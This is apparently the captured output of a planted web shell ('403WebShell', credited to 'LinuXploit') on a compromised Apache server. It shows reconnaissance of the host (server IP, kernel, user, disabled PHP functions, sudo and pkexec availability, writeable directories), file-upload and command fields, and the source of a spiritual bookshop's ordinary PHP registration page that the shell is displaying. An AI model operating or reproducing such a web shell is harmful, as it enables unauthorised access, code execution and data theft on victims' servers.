Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/book.gyaniguru.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/book.gyaniguru.org/register.php
<?php
require_once 'includes/db.php';

$error = '';
$success = '';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $name = $_POST['name'] ?? '';
    $email = $_POST['email'] ?? '';
    $password = $_POST['password'] ?? '';
    $confirm_password = $_POST['confirm_password'] ?? '';

    if ($password !== $confirm_password) {
        $error = "Passwords do not match! 🕉️";
    } else {
        $existing = get_row("SELECT id FROM users WHERE email = ?", [$email]);
        if ($existing) {
            $error = "Email already registered! Please login. 🙏";
        } else {
            $hashed = password_hash($password, PASSWORD_DEFAULT);
            $res = run_query("INSERT INTO users (name, email, password) VALUES (?, ?, ?)", [$name, $email, $hashed]);
            if ($res) {
                $success = "Registration successful! You can now login. ✨";
            } else {
                $error = "Something went wrong. Please try again later.";
            }
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Register — GyaniGuru by JMC</title>
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css">
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.css">
  <link rel="stylesheet" href="css/style.css">
  <link rel="stylesheet" href="css/auth.css">
</head>
<body class="auth-body">
  <div class="auth-bg" id="authBg"></div>
  
  <a href="index.php" class="auth-back-btn">
    <i class="bi bi-arrow-left"></i> Back to Home
  </a>

  <div class="auth-wrapper" data-aos="zoom-in" style="max-width: 1100px;">
    <div class="auth-container auth-container-register">
      <!-- Left Panel -->
      <div class="auth-brand-panel">
          <div class="auth-brand-art">🕉️</div>
          <div class="auth-brand-content">
              <div class="auth-om-symbol">🔱</div>
              <h2 class="auth-brand-title">Join the Sangha</h2>
              <div class="auth-brand-sub">YOUR SPIRITUAL AWAKENING BEGINS</div>
              <div class="auth-brand-divider">✦ ✦ ✦</div>
              
              <p class="auth-brand-quote">"Knowledge is the only wealth that grows when shared. Start your collection today."</p>
              
              <ul class="auth-benefits mt-4">
                  <li><i class="bi bi-patch-check-fill"></i> Exclusive Pre-order Access</li>
                  <li><i class="bi bi-patch-check-fill"></i> Weekly Vedic Insights</li>
                  <li><i class="bi bi-patch-check-fill"></i> Seeker Loyalty Rewards</li>
                  <li><i class="bi bi-patch-check-fill"></i> Personalized Consultations</li>
              </ul>
          </div>
      </div>

      <!-- Right Panel -->
      <div class="auth-form-panel">
        <div class="auth-form-inner">
          <div class="auth-form-header">
            <h1 class="auth-form-title">Create Account 🔱</h1>
            <p class="auth-form-subtitle">Register to manage your divine library.</p>
          </div>
          
          <?php if($error): ?>
            <div class="auth-alert auth-alert-error"><i class="bi bi-exclamation-circle"></i> <?php echo $error; ?></div>
          <?php endif; ?>
          <?php if($success): ?>
            <div class="auth-alert auth-alert-success">
                <i class="bi bi-check-circle-fill"></i> 
                <div>
                    <?php echo $success; ?>
                    <div class="mt-2"><a href="login.php" class="btn btn-sm btn-success">Login Now</a></div>
                </div>
            </div>
          <?php endif; ?>

          <form action="" method="POST" id="regForm">
            <div class="row">
                <div class="col-md-6">
                    <div class="auth-field-group">
                      <label class="auth-label">Full Name</label>
                      <div class="auth-input-wrap">
                        <i class="bi bi-person auth-input-icon"></i>
                        <input type="text" name="name" class="auth-input" required placeholder="Guru's Name">
                      </div>
                    </div>
                </div>
                <div class="col-md-6">
                    <div class="auth-field-group">
                      <label class="auth-label">Email Address</label>
                      <div class="auth-input-wrap">
                        <i class="bi bi-envelope auth-input-icon"></i>
                        <input type="email" name="email" class="auth-input" required placeholder="email@example.com">
                      </div>
                    </div>
                </div>
            </div>
            
            <div class="row">
                <div class="col-md-6">
                    <div class="auth-field-group">
                      <label class="auth-label">Password</label>
                      <div class="auth-input-wrap">
                        <i class="bi bi-key auth-input-icon"></i>
                        <input type="password" name="password" class="auth-input" required placeholder="Create password">
                      </div>
                    </div>
                </div>
                <div class="col-md-6">
                    <div class="auth-field-group">
                      <label class="auth-label">Confirm Password</label>
                      <div class="auth-input-wrap">
                        <i class="bi bi-shield-check auth-input-icon"></i>
                        <input type="password" name="confirm_password" class="auth-input" required placeholder="Confirm password">
                      </div>
                    </div>
                </div>
            </div>

            <div class="auth-terms">
              <label class="auth-remember">
                <input type="checkbox" required> I agree to the <a href="#" class="text-gerua">Divine Terms</a> and Privacy Policy.
              </label>
            </div>

            <button type="submit" class="auth-submit-btn" id="submitBtn">
                <span>REGISTER NOW</span> <i class="bi bi-arrow-right-circle"></i>
            </button>
          </form>

          <p class="auth-switch-text mt-4">
            Already have an account? <a href="login.php" class="auth-switch-link">Login Instead</a>
          </p>
        </div>
      </div>
    </div>
  </div>

  <script src="https://cdn.jsdelivr.net/npm/aos@2.3.4/dist/aos.js"></script>
  <script>
    AOS.init();
    const bg = document.getElementById('authBg');
    for(let i=0; i<20; i++){
        const p = document.createElement('div');
        p.className = 'auth-particle';
        p.style.cssText = `left:${Math.random()*100}%; width:${Math.random()*4+2}px; height:${Math.random()*4+2}px; animation-duration:${Math.random()*15+10}s; animation-delay:${Math.random()*10}s;`;
        bg.appendChild(p);
    }
  </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit